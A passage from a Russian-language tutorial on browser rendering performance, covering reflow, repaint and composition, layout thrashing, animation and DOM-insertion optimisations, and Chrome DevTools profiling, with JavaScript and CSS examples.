// ❌ Чтение геометрических свойств после записи — форсирует Reflow
element.style.width = '200px';
const width = element.offsetWidth; // Браузер вынужден выполнить Reflow, чтобы вернуть актуальное значение
Repaint (Paint) — перерисовка пикселей
Геометрия не меняются, но пиксели перерисовываются.
// Триггерит Repaint (но НЕ Reflow)
element.style.backgroundColor = '#ff0000';
element.style.color = '#ffffff';
element.style.boxShadow = '0 2px 8px rgba(0,0,0,0.3)';
element.style.borderRadius = '8px';
element.style.outline = '2px solid blue';
element.style.visibility = 'hidden'; // Replow НЕ происходит
// display: none — триггерит Reflow (элемент удаляется из layout)
element.style.display = 'none';
Composition — только GPU
Браузер создаёт отдельный слой (layer) и отправляет его на GPU. Изменения transform и opacity не требуют пересчёта layout или перерисовки пикселей — GPU просто перекомпонует существующие слои.
// ✅ Триггерит только Composition — самый дешёвый путь
element.style.transform = 'translateX(100px)';
element.style.transform = 'scale(1.5)';
element.style.transform = 'rotate(45deg)';
element.style.opacity = '0.5';
// ✅ Также Composition (с оговорками)
element.style.filter = 'blur(5px)';
element.style.backdropFilter = 'blur(10px)';
Layout Thrashing — детальный разбор
Проблема: interleaved read/write
// ❌ АНТИПАТТЕРН: layout thrashing
// Каждая итерация вынуждает браузер выполнить Reflow
const items = document.querySelectorAll('.item');
items.forEach(item => {
// ЗАПИСЬ — инвалидирует layout
item.style.width = '200px';
// ЧТЕНИЕ — форсирует синхронный Reflow, чтобы получить актуальное значение
const height = item.offsetHeight;
// ЕЩЁ ЗАПИСЬ — снова инвалидирует layout
item.style.height = height * 2 + 'px';
// ЕЩЁ ЧТЕНИЕ — снова форсирует Reflow
const top = item.offsetTop;
});
// Результат: N элементов × 2 Reflow = 2N синхронных reflow
// При 1000 элементах — 2000 принудительных reflow в одном кадре
Решение: batching (разделение чтения и записи)
// ✅ ПАТТЕРН: batch read → batch write
const items = document.querySelectorAll('.item');
// ФАЗА 1: Читаем ВСЕ значения за один проход — 1 Reflow
const heights = [];
const tops = [];
items.forEach(item => {
heights.push(item.offsetHeight);
tops.push(item.offsetTop);
});
// ФАЗА 2: Пишем ВСЕ значения за один проход — 1 Reflow
items.forEach((item, i) => {
item.style.width = '200px';
item.style.height = heights[i] * 2 + 'px';
});
// Результат: всего 2 Reflow вместо 2N
Свойства, форсирующие синхронный Reflow
// Чтение этих свойств вызывает принудительный Reflow:
element.offsetWidth;
element.offsetHeight;
element.offsetTop;
element.offsetLeft;
element.clientWidth;
element.clientHeight;
element.scrollWidth;
element.scrollHeight;
element.scrollTop;
element.scrollLeft;
element.getBoundingClientRect(); // Возвращает полную геометрию
element.getComputedStyle(); // Вычисленные стили
element.focus(); // Может вызвать скролл
// Все они требуют актуального layout — браузер вынужден выполнить Reflow
Оптимизация анимаций
/* ❌ ПЛОХО: анимация на top/left — каждый кадр вызывает Reflow + Paint + Composite */
@keyframes slide-bad {
from { left: 0; }
to { left: 200px; }
}
.box-bad {
position: absolute;
animation: slide-bad 0.3s ease-out;
}
/* ✅ ХОРОШО: анимация на transform — только Composite */
@keyframes slide-good {
from { transform: translateX(0); }
to { transform: translateX(200px); }
}
.box-good {
position: absolute;
animation: slide-good 0.3s ease-out;
}
/* ✅ Promote to layer заранее (для элементов, которые точно будут анимироваться) */
.box-will-animate {
will-change: transform; /* Браузер создаёт composition layer заранее */
}
/* ⚠️ Не злоупотреблять — каждый слой потребляет видеопамять */
/* ❌ Плохо: */
* { will-change: transform; } /* Каждый элемент — отдельный слой = memory overflow */
Оптимизация скрытия элементов
/* display: none — удаляет из layout, вызывает Reflow */
.hidden-display {
display: none;
}
/* visibility: hidden — остаётся в layout, только Repaint */
.hidden-visibility {
visibility: hidden;
}
/* opacity: 0 — остаётся в layout, только Composition (дешевле visibility) */
.hidden-opacity {
opacity: 0;
pointer-events: none; /* Блокирует клики и hover */
}
/* Для анимированного скрытия — opacity + pointer-events */
.modal-closing {
opacity: 0;
pointer-events: none;
transition: opacity 0.2s ease-out;
}
requestAnimationFrame для плавных обновлений DOM
// ❌ Плохо: изменения DOM без синхронизации с кадром
window.addEventListener('scroll', () => {
// Может вызываться 60+ раз в секунду
// Изменения могут попасть между кадрами — визуальный артефакт
element.style.transform = `translateY(${window.scrollY}px)`;
});
// ✅ Хорошо: синхронизация с частотой обновления экрана
let ticking = false;
window.addEventListener('scroll', () => {
if (!ticking) {
requestAnimationFrame(() => {
element.style.transform = `translateY(${window.scrollY}px)`;
ticking = false;
});
ticking = true;
}
});
CSS Containment — изоляция изменений
/* Браузер знает, что изменения внутри .card НЕ влияют на внешний layout */
.card {
contain: layout paint;
/* layout — Reflow внутри .card не распространяется наружу */
/* paint — содержимое не выходит за границы */
/* style — счётчики/квоуты внутри не влияют наружу */
/* size — размер не зависит от содержимого (нужно задать явные размеры) */
}
/* Для списков с большим числом элементов */
.product-list {
contain: strict; /* Максимальная изоляция */
}
DocumentFragment для пакетной вставки
// ❌ Плохо: каждый appendChild — потенциальный Reflow
const list = document.getElementById('list');
for (let i = 0; i < 1000; i++) {
const li = document.createElement('li');
li.textContent = `Item ${i}`;
list.appendChild(li); // 1000 отдельных вставок = 1000 Reflow
}
// ✅ Хорошо: DocumentFragment — одна вставка = 1 Reflow
const list = document.getElementById('list');
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
const li = document.createElement('li');
li.textContent = `Item ${i}`;
fragment.appendChild(li); // Вставка в память, не в DOM
}
list.appendChild(fragment); // Одна вставка в DOM = 1 Reflow
Инструменты диагностики в Chrome DevTools
Performance Tab:
1. Нажать Record
2. Выполнить подозрительное действие
3. Остановить запись
4. Анализ:
- Красные треугольники — Long Tasks (> 50ms)
- Секция "Main" — задачи в основном потоке
- "Layout" в огненном графе — Reflow
- "Paint" — Repaint
- "Composite Layers" — Composition
Paint Flashing:
Rendering → Paint flashing (в DevTools)
- Зелёные области — перерисованные области
- Чем больше зелёного — тем хуже
- Идеал: перерисовываются только анимированные элементы
Layers Panel:
More Tools → Layers
- Показывает все composition layers
- Каждый слой потребляет видеопамять
- Слишком много слоёв → memory pressure → падение FPS
Сводная таблица оптимизаций
| Проблема | Решение |
|---|---|
| Layout thrashing | Batch read → batch write |
| Анимация на top/left | Заменить на transform |
| Частые изменения DOM | DocumentFragment, requestAnimationFrame |
| Изменения распространяются на весь дерево | CSS Containment |
| Скрытие элементов | opacity + pointer-events вместо display: none |
| Слишком много composition layers | Убрать лишний will-change |
| Чтение геометрии в цикле | Кэшировать значения, читать до записи |